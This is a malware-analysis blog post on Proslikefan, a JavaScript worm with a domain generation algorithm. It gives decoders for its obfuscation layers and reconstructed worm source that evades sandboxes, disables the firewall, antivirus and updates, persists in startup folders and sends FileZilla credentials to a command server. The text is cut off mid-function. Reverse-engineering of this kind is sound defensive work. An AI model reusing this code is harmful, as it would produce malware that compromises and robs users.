ProslikefanA Javascript Worm with Domain Generation Algorithm

In November 2015 I wrote about a Javascript-based malware that uses a Domain Generation Algorithm (DGA). The script was not functional; most routines had not been completely implemented or were never invoked. The malware later turned out to be a stripped down version of Proslikefan.

Proslikefan is a worm written entirely in JavaScript that propagates by copying itself to external drives. The malware first emerged in September 2012. It seems to mostly have targeted Brazil, where it was the second most common malware family in Q4 2014.

Last week I noticed a full version of Proslikefan on malwr.com:

md5 f9d23fe0e84a6a1e6e309d031989e80c
sha256 854feee1709793d41c209784f24696bf82b5561a27075de1611296b4682a9a83
sample on malwr
hardcoded timestamp 08/10/2013 @ 10:59pm (UTC)

This sample generates similar domains to the previously examined Proslikefan sample, but uses more top level domains:

  • gwhewynm.biz
  • qjyoayy.org
  • rtkzucqq.org
  • fyjlmjjo.biz
  • ndkcswn.info
  • qguforfw.ru
  • tekimkt.ru
  • mlagokmrhj.info
  • yeonzxabd.net

In this blog post I show a generalized version of the DGA of Proslikefan that covers the above domains as well as the domains from the previous blog post. The post is structured as follows

  1. The first section unravels the various protection layers of Proslikefan.
  2. The second section shows the setup steps taken by Proslikefan, e.g., persistence and vm detection.
  3. The third section describes the main loop of Proslikefan.
  4. The fourth section shows the communication protocol, including the domain generation algorithm used if the hard-coded domains fail.
  5. The last section contains routines of Proslikefan that are not directly invoked, but might still be used by the feature of Proslikefan to eval arbitrary Javascript from the CnC server.

Unpacking

Proslikefan uses multiple protection layers based on encoding and encryption.

Layer 1 - Base17 Encoding

The following snippet shows Proslikefan after JSbeautifying and variable renaming. The three strings passed to the self invoking functions are very long and therefore abbreviated.

(function(base17data, converter, arg1, arg2, filter) {
    base17data = base17data.replace(filter, "");
    try {
        routine = "";
        base17data = base17data.split([]);
        pgoceeadm = document;
        return
    } catch (pgoceljdm) {
        for (i = 0; base17data.length > i; i += 2) 
          routine += String.fromCharCode(converter(base17data[i] + base17data[i + 1], 17));
        [].shift.constructor(routine)(arg1, arg2)
    }
})("535e[..]", parseInt, "Dn3B[..]", "Uk[..]", /[^0-9A-Z]+/gi); //3fe31[..]3ff

The first protection layer operates on the first string only, i.e., “535e4…“. All non alpha-numeric characters are removed. Then two characters at a time are treated as base 17 encoded ASCII characters of a string. The following Python script shows how to decode the string:

import re
enc = "535e4|e6562682f50554873[..]"
enc = re.sub("[^a-z0-9]","", enc, flags=re.I)
routine = ""
for (a,b) in zip(enc[0::2], enc[1::2]):
    routine += chr(int(a+b,17))
print(routine)

Layer 2 - XOR encryption

The result of the above decoding is the next Javascript. Again it was beautified and the variables have been renamed:

unused = "";
(function(base64decode, code, decrypt, strings_array) {
    strings_array = base64decode(strings_array);
    code = base64decode(code);
    try {
        eval(decrypt("78ff3a330688ca84be87645a59387233672447b2", code))
    } catch (pgocedndm) {}
})(
    function(base64ciphertext) {
        base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
        letters2index = {};
        base64ciphertext = base64ciphertext.replace(/[^a-z0-9\/+]+/ig, "");
        for (i = 0; i < base64chars.length; i++) 
            letters2index[base64chars.charAt(i)] = i;
        binaryData = [];
        for (len = base64ciphertext.length, i = 0; i < len; i += 4) {
            b = (letters2index[base64ciphertext.charAt(i)] || 0) << 18 | 
                (letters2index[base64ciphertext.charAt(1 + i)] || 0) << 12 | 
                (letters2index[base64ciphertext.charAt(2 + i)] || 0) << 6 | 
                (letters2index[base64ciphertext.charAt(3 + i)] || 0); 
            binaryData.push(b >> 16, b >> 8 & 255, b & 255);
        }
        return binaryData.length -= [0, 0, 2, 1][base64ciphertext.length % 4], 
            String.fromCharCode.apply(String, binaryData)
    }, 
    arguments[1], 
    function(key, ciphertext) {
        plaintext = "";
        for (i = 0; i < ciphertext.length; i++) 
            plaintext += String.fromCharCode(
              key.charCodeAt(i % key.length) ^ ciphertext.charCodeAt(i));
        return plaintext
    }, 
    arguments[0]
  );
);

The variables arguments[0] and arguments[1] refer to the strings “Dn3BKVIo3…” and “Uk4HC…” from the previous protection layer, i.e., the third and fourth parameter to the self invoking function. The above routine uses Base64 to convert the strings to binary, after any non base64 letters have been removed. One of the results (base64_enc_function in the following Python snippet) is then decrypted with a 40 byte long XOR key. The resulting plaintext holds the Javascript for the next protection layer and is executed with eval.

key = '78ff3a330688ca84be87645a59387233672447b2'

base64_enc_strings = "Dn3BKVIo3[..]"
base64_enc_function = "Uk4HC;[..]"

base64_enc_strings = re.sub("[^a-zA-Z0-9/+=]","", base64_enc_strings)
base64_enc_function = re.sub("[^a-zA-Z0-9/+=]","", base64_enc_function)

enc_strings = base64.b64decode(base64_enc_strings) 
enc_func = base64.b64decode(base64_enc_function)
func = ""
for i,d in enumerate(enc_func):
    func += chr(ord(d) ^ ord(key[i%len(key)]))

Layer 3 - RC4

The next Javascript excerpt shows parts of the XOR decrypted code. The array strings is used in place of any hard-coded strings. strings is the result of RC4 decrypting the variable enc_strings from the previous section.

try {
    pgocemddm = function() {
        pgoceokdm = [], pgocecadm = new Date;
        for (pgocejadm = 0; pgocejadm < 10; pgocejadm++)
            for (pgoceszdm = 0; pgoceszdm < pgoceyidm.length; pgoceszdm++) {
                pgocexgdm = [strings[344], pgocecadm[strings[232] + strings[310]]() + 1, 
                    pgocecadm[strings[232] + strings[240]](), 
                    pgocecadm[strings[232] + strings[236]](), 
                    pgoceyidm[pgoceszdm]].join(strings[373]), 
                    pgocelldm = Math[strings[366]](pgocegydm(pgocexgdm)) 
                    + pgocejadm, pgoceecdm = pgocesndm;
[..]
rc4 = function(key, input) {
        S = [];
        for (i = 0; i < 256; i++) 
            S[i] = i;
        j = 0;
        for (i = 0; i < 256; i++) {
            j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
            tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
        }
        i = 0, j = 0, output = "";
        for (i = 0; i < input.length; i++) { 
            i = (i + 1) % 256;
            j = (j + S[i]) % 256;
            tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
            output += String.fromCharCode(input.charCodeAt(i) ^ S[(S[i] + S[j]) % 256]); 
        }
        return output
    }, 
[..]
strings = eval(rc4(unescape("%AB%07%25%7C%E2Fl%16%1E%2A%BA%03J%E5%EF%B4%E3%E2_%F5"), enc_strings));

The next Python script calculates the string representation of the strings array. Proslikefan then turns the string into a Javascript array with eval.

import base64
import re

def KSA(key):
    keylength = len(key)

    S = range(256)

    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]  # swap

    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap

        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def convert_key(s):
    return [ord(c) for c in s]


rc4key = '\xAB\x07\x25\x7C\xE2Fl\x16\x1E\x2A\xBA\x03J\xE5\xEF\xB4\xE3\xE2_\xF5'
rc4key = convert_key(rc4key)
keystream = RC4(rc4key)
enc_strings = # previous layer
strings_a = []
for c in enc_strings:
    strings_a.append(chr(ord(c) ^ keystream.next() ))

strings_s = ''.join(strings_a)

I replaced all instances of strings[..] with the corresponding string in all following JS snippets. I also tried to beautify the code by renaming variables and introducing additional line breaks.

Installation

Prolikefan relies on multiple ActiveX objects to interact with the local system:

    try {
        axShellApplication = new ActiveXObject("shell.application");
        axScriptingFileSystemObject = new ActiveXObject("Scripting.FileSystemObject");
        axADODBStream = new ActiveXObject("ADODB.Stream");
        axWScriptShell = new ActiveXObject("WScript.Shell");
        axMSXML2ServerXMLHTTP60 = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
        envProcess = axWScriptShell.Environment("PROCESS")
    } catch (e) {
        WScript.quit()
    }

The malware also initializes a large number of global variables. I skip them for now and introduce them when they are first accessed instead. Next, the main routine is invoked. The routine has seven subroutines to set Proslikefan up:

main = function() {
    check_cim_for_sandbox();
    setup();
    run_from_temp_show_alert();
    quit_if_other_instance_started_less_than_15_seconds_ago();
    get_video_controllers();
    get_processors();
    update_script();
    for (;;) {
        // shown in Section *Main Loop*
    }
}, 

Sandbox Detection

The first routine check_cim_for_sandbox tries to figure out if Proslikefan is running inside a virtualized sandbox. Like many other fingerprinting tasks in Proslikefan, the sandbox detection relies on querying the Windows Management Instrumentation WMI repository. The routine tries to detect the following virtualization platforms:

  • VirtualBox, by looking at the disk drive model and the BIOS manufacturer (innotek).
  • Bochs emulator, by looking at the BIOS manufacturer, the disk drive model and the processor model.
  • Xen, by looking at the SCSI controller manufacturer and name (Citrix), the BIOS manufacturer, and the disk drive model.
  • RedHat, by looking at the disk drive model and SCSI controller manufacturer.
  • Parallels, by looking at ComputerSystem manufacturer and the DiskDrive model (Virtual HDD).
  • QEMU, by looking at the BIOS manufacturer, disk drive model and processor name.
  • VMWare, by looking at the disk drive model.
  • The Honeynet Project, by looking for a process named CaptureClient.exe.

The routine also checks if the computer name contains one of the following strings

  • cnc-lab
  • mcafee

Proslikefan quits silently if just one query matches.

envComputername = envProcess("computername");

check_cim_for_sandbox = function() { ///////////////// OK
    anti_vm_queries = [
        "SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE \"%Bochs%\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VBOX%\"", 
        "SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE \"%Xen%\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%Red Hat%\"", 
        "SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE \"%Xen%\"", 
        "SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE \"%Parallels%\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%Bochs%\"", 
        "SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE \"%innotek%\"", 
        "SELECT * FROM Win32_Processor WHERE Name LIKE \"%Bochs%\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%Xen%\"", 
        "SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE \"%Red Hat%\"", 
        "SELECT * FROM Win32_SCSIController WHERE Name LIKE \"%Citrix%", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%Virtual HDD%\"", 
        "SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE \"%Xen%\"", 
        "SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE \"%QEMU%\"", 
        "SELECT * FROM Win32_Process WHERE Name=\"CaptureClient.exe\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%QEMU%\"", 
        "SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", 
        "SELECT * FROM Win32_Processor WHERE Name LIKE \"%QEMU%\""];
    cim_object = GetObject("winmgmts:root\\cimv2");
    for (i = 0; i < anti_vm_queries.length; i++)
        for (query_result = new Enumerator(cim_object.ExecQuery(anti_vm_queries[i])); 
                !query_result.atEnd(); 
                query_result.moveNext()) 
            WScript.quit();
    envComputername.match(RegExp_("cnc\-lab|mcafee", "i")) && WScript.quit()
}, 
RegExp_ = function(regexString, regexModifier) {
    try {
        regexModifier 
    } catch (e) {
        regexModifier = empty_string
    }
    return RegExp(regexString, regexModifier)
}, 

Setup

Setup has five steps to disable Windows security features, to establish persistence and to create or load the status files.

setup = function() {
    disable_security_features();
    create_malware_folder();
    open_status_files(); 
    copy_file_to_startup_in_all_profiles(); 
    copy_this_file_to_two_locations()
}, 

Disable Security Features

Proslikefan disables a whole bunch of security features in Windows by changing or deleting registry values:

  • Disables the Windows Security Center and its notifications.
  • Disables Safe Mode.
  • Any proxy in IE is disabled, and automatically detecting proxy settings is enabled to force the change when IE starts.
  • The Windows firewall is disabled, including notifications. Notifications about no firewall being present are also disabled.
  • Autoexec.bat parsing is disabled.
  • Hidden files and folders are set to not be shown.
  • Changing the home page in IE is disabled.
  • Access to the control panel, the command prompt, the display settings, the system restore settings, the folder options menu, the registry editing tools and the task manager is disabled.
  • Windows updates are disabled, including notifications that warn the user about disabled updates.
  • File Extensions for know file types are hidden.
  • Anti Virus is disabled, including notifications about missing AV.
  • Communication of the Malicious Software Removal Tool to Microsoft is disabled.
envAppData = envProcess("appdata");
envSystemdrive= envProcess("systemdrive");
folderProgramFiles = envProcess("programfiles");

disable_security_features = function() {
    regSetToDisable = [
        "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wscsvc\\Start"
    ];        
    regDelete = [
        "HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot", 
        "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\ShellServiceObjects\\{FD6905CE-952F-41F1-9A6F-135D9C6622CC}", 
        "HKCU\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot"
    ];
    regSetToZero = [
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\MigrateProxy", 
        "HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\EnableFirewall", 
        "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ParseAutoexec", 
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable"
    ];
    regSetToTwo = [
        "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Hidden"
    ];
    regSetToOne = [
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\FirewallDisableNotify", 
        "HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\Svc\\FirewallOverride", 
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoControlPanel", 
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoWindowsUpdate", 
        "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\DisableCMD", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\FirewallOverride", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\UpdatesDisableNotify", 
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NofolderOptions", 
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\AntiVirusDisableNotify", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\AntiVirusOverride", 
        "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoDispCPL", 
        "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableConfig", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\Svc\\FirewallDisableNotify", 
        "HKLM\\SOFTWARE\\Policies\\Microsoft\\MRT\\DontReportInfectionInformation", 
        "HKLM\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", 
        "HKLM\\SOFTWARE\\Microsoft\\Security Center\\Svc\\AntiVirusDisableNotify", 
        "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestoreDisableSR", 
        "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\DisableTaskMgr", 
        "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\DisableRegistryTools"
    ];
    
    try {
        axWScriptShell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + 
                personalize("cu"), envAppData + "\\" + personalize("uc") + 
                "\\" + personalize("cu") + ".js")
    } catch (e) {}
    for (i = 0; i < regSetToDisable.length; i++) try {
        axWScriptShell.regWrite(regSetToDisable[i], 4)
    } catch (e) {}
    for (i = 0; i < regDelete.length; i++) try {
        axWScriptShell.regDelete(regDelete[i])
    } catch (e) {}
    for (i = 0; i < regSetToZero.length; i++) try {
        axWScriptShell.regWrite(regSetToZero[i], 0)
    } catch (e) {}
    for (i = 0; i < regSetToTwo.length; i++) try {
        axWScriptShell.regWrite(regSetToTwo[i], 2)
    } catch (e) {}
    for (i = 0; i < regSetToOne.length; i++) try {
        axWScriptShell.regWrite(regSetToOne[i], 1)
    } catch (e) {}
    try {
        axWScriptShell.regWrite("lm" + personalize("lm"), 
        folderProgramFiles + "\\" + personalize("ml") + "\\" + 
                personalize("lm") + ".js")
    } catch (e) {}
}, 

Create Malware Folder

Proslikefan creates a folder on the system drive. This folder is used to store the status files of the malware in a shared location accessible by all users.

create_malware_folder = function() { 
    if (!axScriptingFileSystemObject.folderExists(envSystemdrive+ "\\" 
        + personalize("prospect"))) 
    {
        folder_did_not_exist = !0;
        try {
            axScriptingFileSystemObject.createFolder(envSystemdrive+ "\\" 
                + personalize("prospect"))
        } catch (e) {}
    } else folder_did_not_exist = !1;
    hide_and_systemize_folder(envSystemdrive+ "\\" + personalize("prospect"))
}, 

The name of the sub-folder depends on the computer name, meaning it changes from infected client to infected client, but stays the same on a given machine:

envComputername = envProcess("computername");
personalize = function(txt) {
    txt = to_hex_string(rc4(envComputername, txt));
    txt_as_array = txt.split("");
    personalized_txt = "";
    for (i = 0; i < 6 + parseInt(txt, 16) % 9; i += 3) {
        personalized_txt += txt_as_array[i % txt.length];
    }
    return personalized_txt
}, 

The rc4 routine has already been shown in Section Layer 3 - RC4. The routine to_hex_string converts the binary output of the RC4 encryption to its hex representation:

to_hex_string = function(inputString) {
    hexstring = "";
    for (i = 0; i < inputString.length; i++) {
        inputString.charCodeAt(i).toString(16).length % 2 ? 
            hexstring += 0 + inputString.charCodeAt(i).toString(16) : 
            hexstring += inputString.charCodeAt(i).toString(16);
    }
    return hexstring
},

The output of personalize has between 6 and 14 and hex characters. After the sub-folder is created, it is also hidden and set to a system folder. Given with the registry settings from the previous section this guarantees that the folder is invisible:

hide_and_systemize_folder = function(path) { 
    try {
        folderobject = axScriptingFileSystemObject.getFolder(path);
        folderobject.attributes = 6; // hidden and system
    } catch (e) {}
}, 

Status Files

The current status of Proslikefan is saved in different files. All files reside in the sub-folder created in the previous section. Like the name of the folders, the filenames themselves are also personalized to the infected computer.

  • personalize(v) contains the name of the Proslikefan script.
  • personalize(id) contains a random id with 3 hex digits.
  • personalize(r) contains some sort of signature taken from the comment trailing the script.
  • personalize(it) contains the unix timestamp when the script was last run.
empty_string = "";
rc4key = "mdixzty0mtbknme5ngiymwuyog";
separator = "7c93998a43d1743b48ead931343ded99a774f8";
sSomeHash = "ad92304cdbd37dccca106595e4bebfa3ff";

open_status_files = function() { 
    try {
        hVFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("v"), 1);
        script_name = hVFile.readAll();
        hVFile.close()
    } catch (e) {
        try {
            script_name = WScript.scriptName;
            hVFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ 
                    "\\" + personalize("prospect") + "\\" + 
                    personalize("v"), 2, 1);
            hVFile.write(script_name);
            hVFile.close()
        } catch (e) {
            script_name = "e=" + e
        }
    }
    try {
        hIDFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("id"), 1);
        script_id = hIDFile.readAll();
        hIDFile.close()
    } catch (e) {
        try {
            script_id = (randomBase16String() + randomBase16String() + 
                         randomBase16String()).toUpperCase();
            hIDFile = axScriptingFileSystemObject.openTextFile(envSystemdrive + "\\" + 
                    personalize("prospect") + "\\" + personalize("id"), 2, 1);
            hIDFile.write(script_id);
            hIDFile.close()
        } catch (e) {
            script_id = empty_string
        }
    }
    try {
        hRFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("r"), 1);
        signature = strip(hRFile.readAll());
        hRFile.close()
    } catch (e) {
        try {
            hThisFile = axScriptingFileSystemObject.openTextFile(WScript.scriptFullName, 1);
            signature = rc4(rc4key, decodeAsciiHexString(
                    hThisFile.readAll().split("\\/\\/" + separator)[1].split(sSomeHash)[0]
                    ));
            hThisFile.close()
        } catch (e) {
            signature = empty_string
        } finally {
            hRFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                    personalize("prospect") + "\\" + personalize("r"), 2, 1);
            hRFile.write(signature + " ");
            hRFile.close()
        }
    }
    try {
        rITFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("it"), 1);
        unixtimestamp_file = rITFile.readAll();
        rITFile.close()
    } catch (e) {
        try {
            unixtimestamp_file = Math.round((new Date).getTime() / 1e3);
            rITFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                    personalize("prospect") + "\\" + personalize("it"), 2, 1);
            rITFile.write(unixtimestamp_file);
            rITFile.close()
        } catch (e) {
            unixtimestamp = "e=" + e
        }
    }
}, 

randomBase16String = function() {
    return ((1 + Math.random()) * 65536 | 0).toString(16).substring(1)
},

decodeAsciiHexString = function(asciihexstring) {
    s = "";
    for (i = 0; i < asciihexstring.length; i += 2) 
        s += String.fromCharCode(parseInt(asciihexstring.substr(i, 2), 16));
    return s
}, 

The strip routine used by open_status_files among other routines is pretty interesting. It is a Unicode compliant routine to trim whitespace from strings:

unescape_ = unescape;
strip = function(input_data) {
    input_data += empty_string;
    i = 0;
    spaces = unescape_("%u2006%09%0B%u2009%0D%u2004%A0%u200A%u2002%u2005%u2007%0C%u2000%u2028%u2029%20%u3000%u2001%0A%u2003%u2008%u200B");
    for (i = 0; i < input_data.length; i++)
        if (spaces.indexOf(input_data.charAt(i)) === -1) {
            input_data = input_data.substring(i);
            break;
        }
    for (i = input_data.length - 1; i >= 0; i--)
        if (spaces.indexOf(input_data.charAt(i)) === -1) {
            input_data = input_data.substring(0, i + 1);
            break;
        }
    return spaces.indexOf(input_data.charAt(0)) === -1 ? input_data : empty_string
}, 

Copy to Startup

Proslikefan infects all users on the host. The following helper routine is used to apply any given routine to all user profiles.

apply_routine_to_all_user_profiles = function(routine) {
    try {
        parent_folder = axScriptingFileSystemObject.GetFolder(folderUserProfile + "\\..\\");
        for (folder = new Enumerator(parent_folder.SubFolders); 
                !folder.atEnd(); folder.moveNext()) 
            routine(folder.item())
    } catch (e) {}
}, 

Inside a user profile, Proslikefan copies itself to the personal startup folder, as well as the all users startup location. The name of the script is randomized with the current time:

folderUserProfile = envProcess("userprofile");
copy_file_to_startup_in_all_profiles = function() { 
    apply_routine_to_all_user_profiles(function(user_profile) {
        startup_folders = [
            "\\Start Menu\\Programs\\Startup\\", 
            "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
        ];
        for (i = 0; i < startup_folders.length; i++) 
            try {
                startup_folder_files_obj = axScriptingFileSystemObject.GetFolder(
                    user_profile + startup_folders[i])["files"];
                timestamped_js_filename = personalize((new Date).getHours() + empty_string) + ".js";
                for (startup_folder_file = new Enumerator(startup_folder_files_obj); 
                     !startup_folder_file.atEnd(); 
                     startup_folder_file.moveNext()) 
                {
                    startup_folder_file_string = startup_folder_file.item() + empty_string;
                    if (!startup_folder_file_string.match(timestamped_js_filename) 
                            && startup_folder_file_string.match(/\.js/i)) 
                        try {
                            counter && 
                            axScriptingFileSystemObject.deleteFile(startup_folder_file_string)
                        } catch (e) {}
                }
                write_this_file(user_profile + startup_folders[i] + timestamped_js_filename)
            } catch (e) {}
    })
}, 

write_this_file = function(path) {
    try {
        hThisFile = axScriptingFileSystemObject.openTextFile(WScript.scriptFullName, 1);
        content_before_separator = hThisFile.readAll().split("\\/\\/" + separator)[0];
        hThisFile.close();
        hPath = axScriptingFileSystemObject.openTextFile(path, 2, 1);
        hPath.write(content_before_separator + "\\/\\/" + separator 
            - to_hex_string(rc4(rc4key, script_id)) + sSomeHash);
        hPath.close();
        delete content_before_separator
    } catch (e) {}
}, 

Copy to AppData and ProgramFiles

Proslikefan also creates to copies in AppData and the ProgramFiles folders. The subfolders and filenames are personalized to the system.

copy_this_file_to_two_locations = function() { 
    try {
        axScriptingFileSystemObject.createFolder(envAppData + "\\" + 
                personalize("uc") + "\\")
    } catch (e) {}
    try {
        axScriptingFileSystemObject.createFolder(folderProgramFiles + "\\" + 
                personalize("ml") + "\\")
    } catch (e) {}
    hide_and_systemize_folder(envAppData + "\\" + personalize("uc") + "\\");
    hide_and_systemize_folder(folderProgramFiles + "\\" + personalize("ml") + "\\");
    write_this_file(envAppData + "\\" + personalize("uc") + "\\" + 
            personalize("cu") + ".js");
    write_this_file(folderProgramFiles + "\\" + personalize("ml") + "\\" + 
            personalize("lm") + ".js")
},

Fake Error Message

After copies in the startup folders, AppData and ProgramFiles have been created Proslikefan creates a final copy in the temp folder with random name. It starts this copy and exits with a fake error message “This application has failed to start because PrsPCT.dll was not found.”.

run_from_temp_show_alert = function() { ////////////////////////////////////
    if (signature.length && folder_did_not_exist) 
        try {
            jsPathInTemp = envTemp + "\\" + randomBase16String() + ".js";
            write_this_file(jsPathInTemp)
            axWScriptShell.run(jsPathInTemp);
            axWScriptShell.popup("This application has failed to start because PrsPCT.dll was not found.", 
                    30, "Unable to Locate Component");
            WScript.quit()
        } catch (e) {} 
    else 
        WScript.sleep(rand_int(936, 10038))
}, 

rand_int = function(lower, upper) {
    return Math.floor(Math.random() * (upper - lower + 1)) + lower
}, 

Prevent Multiple Running Instances

With the help of a lock file, the script checks if it was started less than 15 seconds ago, in which case it quits.

quit_if_other_instance_started_less_than_15_seconds_ago = function() {
    if (axScriptingFileSystemObject.fileExists(envSystemdrive+ "\\" + 
            personalize("prospect") + "\\" + personalize("lock"))) 
        try {
            hLockFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                    personalize("prospect") + "\\" + personalize("lock"), 1, 1);
            lock_file_content = hLockFile.readAll();
            hLockFile.close();
            is_digit(lock_file_content)
              && parseInt(lock_file_content) + 15 > Math.round((new Date).getTime() / 1e3) 
              && WScript.quit();
            delete lock_file_content
        } catch (e) {}
    write_unixtimestamp_to_lockfile()
},

write_unixtimestamp_to_lockfile = function() {
    try {
        hLockFile = axScriptingFileSystemObject.openTextFile(envSystemdrive+ "\\" + 
                personalize("prospect") + "\\" + personalize("lock"), 2, 1);
        hLockFile.write(Math.round((new Date).getTime() / 1e3));
        hLockFile.close()
    } catch (e) {}
}, 

is_digit = function(string) {
    return (string + "").search(/^-?[0-9]+$/) == 0
},    

Get Video Controllers

Is used for fingerprinting, see Section Video Controllers.

Get Processor Names and Number of Cores

Also used for fingerprinting, see Sections Total Number of Processor Cores and Name of Processors.

Update

The final step of setup is to update Proslikefan by calling the CnC:

update_script = function() { 
    try {
        update = eval_("(" + encrypted_post("u", empty_string) + ")");
        if (update["u"]) {
            return this_script = axScriptingFileSystemObject.openTextFile(
                    WScript.scriptFullName, 2, 1);
            this_script.write(update["u"]);
            this_script.close();
            delete update,
            !0
        }
    } catch (e) {}
    return !1
}, 

The script uses the encrypted_post routine with option u (for update?). This routine is described in Section CnC Communication and DGA. The routine returns a json file, where field u contains a new version of the script which replaces the currently running script.

Main Loop

After setup, Proslikefan enters an infinite loop that executes different commands:

entry_point = function() {
    // see previous Section
    for (;;) {
        steal_filezilla_credentials();
        timeout_filezilla = (new Date).getTime() + 36e5; // 1 hour
        while (timeout_filezilla > (new Date).getTime()) {
            execute_commands();
            counter++;
            timeout_key_value_store = (new Date).getTime() + 18e5; // 30 mins
            submit_key_value_store();
            while (timeout_key_value_store > (new Date).getTime()) {
                write_unixtimestamp_to_lockfile();
                persistence();
                while (wait_time > (new Date).getTime()) {
                    terminate_analysis_tools();
                    WScript.sleep(1e3);
                }
                wait_time = (new Date).getTime() + 5e3; // now plus 8.33 mins
                copy_to_external_harddrives()
            }
        }
    }
}, 

Stealing FileZilla Credentials

Every hour, Proslikefan checks the user profiles of all users for FileZilla credentials. The credentials are sent back to the CnC server:

escape_ = escape;

steal_filezilla_credentials = function() { 
    apply_routine_to_all_user_profiles(function(user_profile) {
        appdata_folders = ["\\Application Data", "\\AppData\\Roaming"];
        filezilla_loot = empty_string;
        for (i = 0; i < appdata_folders.length; i++) {
            appdata_path = user_profile + appdata_folders[i];
            try {
                hFilezillaFileMgr = axScriptingFileSystemObject.openTextFile(
                    appdata_path + "\\FileZilla\\sitemanager.xml", 1);
                filezilla_loot += hFilezillaFileMgr.readAll();
                hFilezillaFileMgr.close()
            } catch (e) {}
            try {
                hFilezillaRecentSrvs = axScriptingFileSystemObject.openTextFile(
                    appdata_path + "\\FileZilla\\recentservers.xml", 1);
                filezilla_loot += hFilezillaRecentSrvs.readAll();
                hFilezillaRecentSrvs.close()
            } catch (e) {}
        }
        servers_xml = filezilla_loot.split("<Server>");
        for (i = 0; i < servers_xml.length; i++) try {
            password = servers_xml[i].split("<Pass>")[1].split("<\\/Pass>")[0];
            port = servers_xml[i].split("<Port>")[1].split("<\\/Port>")[0];
            protocol = servers_xml[i].split("<Protocol>")[1].split("<\\/Protocol>")[0];
            host = servers_xml[i].split("<Host>")[1].split("<\\/Host>")[0];
            user = servers_xml[i].split("<User>")[1].split("<\\/User>")[0];
            switch (protocol) {
                case "4":
                    protocol = "ftpes";
                    break;
                case "1":
                    protocol = "ssh";
                    break;
                case "0":
                    protocol = "ftp";
                    break;
                case "3":
                    protocol = "ftps"
            }
            make_r_type_cnc("ftp", "filezilla=" + escape_(protocol + ":\\/\\/" + user 
                    - ":" + password + "@" + host + ":" + port))
        } catch (e) {}
    })
}, 
make_r_type_cnc = function(fparam, dparam) {
    encrypted_post("r", "id=" + escape_(script_id) + "&" + "f=" + 
